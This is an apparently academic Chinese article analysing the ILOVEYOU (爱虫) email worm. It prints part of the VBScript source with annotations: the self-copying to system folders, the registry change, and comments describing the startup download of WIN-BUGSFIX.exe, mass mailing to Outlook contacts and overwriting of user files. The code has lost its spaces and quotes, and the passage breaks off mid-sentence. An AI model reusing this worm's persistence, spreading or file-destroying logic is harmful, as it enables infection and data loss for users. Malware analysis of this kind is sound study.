“爱虫(I-Loveyou)”病毒代码解析和杀毒方法.docVIP

“爱虫(ILoveyou)”病毒代码解析和杀毒方法

中国代码联盟黄冬李文武

近来在网上出现了“我爱你”病毒，让人们恐慌一时，而它在国内却没有出现

什么问题，到现在我也没有听到有哪位计算机使用者说自己被爱到至死。究其原因

是什么？而“我爱你”病毒到底是什么？难道说是我国的计算机防毒水平和计算

机杀毒软件的水平已经到了世界领先的水平？我们来细细看看它的原因就明白其中

的道理了。另：笔者写本文完全是为了学术作用，请不要将此病毒代码用于破坏之

目的。

首先让我们来看一看我爱你病毒的来源。有一天你会收到一封邮件，它的主题

是“ILoveYou”（如果细细读读它的程序，这个主题其实可以并不是ILove

You），在它的信中带有了一个叫“iloveyou.vbs”的附件，而这个附件将是病毒

的根源。下面这段是“我爱你”病毒的所有的源代码，其中加入了我的注释（大多

数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了这些函数的说明

，具体实现可以到函数体中去找）：

Rem

=======================================================================

Rem本文件为病毒样本，供学习之用，原文件中扫描文件进行感染部分被我注释掉

了

Rem请勿将本文件用作破坏之目的。white(wwwasp@)hd(hd@email.

)

Rem

=======================================================================

OnErrorResumeNext

dimfso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=

ctr=0

Setfso=CreateObject(Scripting.FileSystemObject)

setfile=fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

submain()

OnErrorResumeNext

dimwscr,rr

setwscr=CreateObject(WScript.Shell)

rr=wscr.RegRead(HKEY_CURRENT_USER\Software\Microsoft\Windows

Scripting

Host\Settings\Timeout)

if(rr=1)then

wscr.RegWriteHKEY_CURRENT_USER\Software\Microsoft\WindowsScripting

Host\Settings\Timeout,0,REG_DWORD

endif

Setdirwin=fso.GetSpecialFolder(0)

Setdirsystem=fso.GetSpecialFolder(1)

Setdirtemp=fso.GetSpecialFolder(2)

Setc=fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem\MSKernel32.vbs)

c.Copy(dirwin\Win32DLL.vbs)

c.Copy(dirsystem\LOVE-LETTER-FOR-YOU.TXT.vbs)上面三句将自身复制成三

个文件

regruns()如果系统为win98，设IE的起始页为四个URL之一，以下载一个叫

WIN-BUGSFIX.exe的文件，并将其设为系统启动时自动执行的程序，看起来好象

是一个补丁程序

html()为OUTLOOK用户生成一个含病毒代码的HTML文件LOVE-LETTER-FOR-YOU.

HTM，该HTML文件里包含一段JAVASCRIPT，打开时脚本被执行，病毒体被写入文

件MSKernel32.vbs,同时被设成

系统启动时自动执行

spreadtoemail()为OUTLOOK里的所有联系人发一封包含上面那个文件的邮件

listadriv()扫描整个磁盘，将后缀为.vbs,..vbe的文件换成自身，将后缀为

.js,.jse,.css,.wsh,.sct,.hta,的文件改后缀为vbs并写入自身，同时删

除原有文件，将后缀为.jpg,.jpeg的在文件名后加.vbs后，写入自身，将后缀为

.mp3,mp2的文件名后加.vbs并写入自身，同时将文件属性改为隐藏文件，如果发

现有mIRC,将改写script.ini，使得mIRC向所有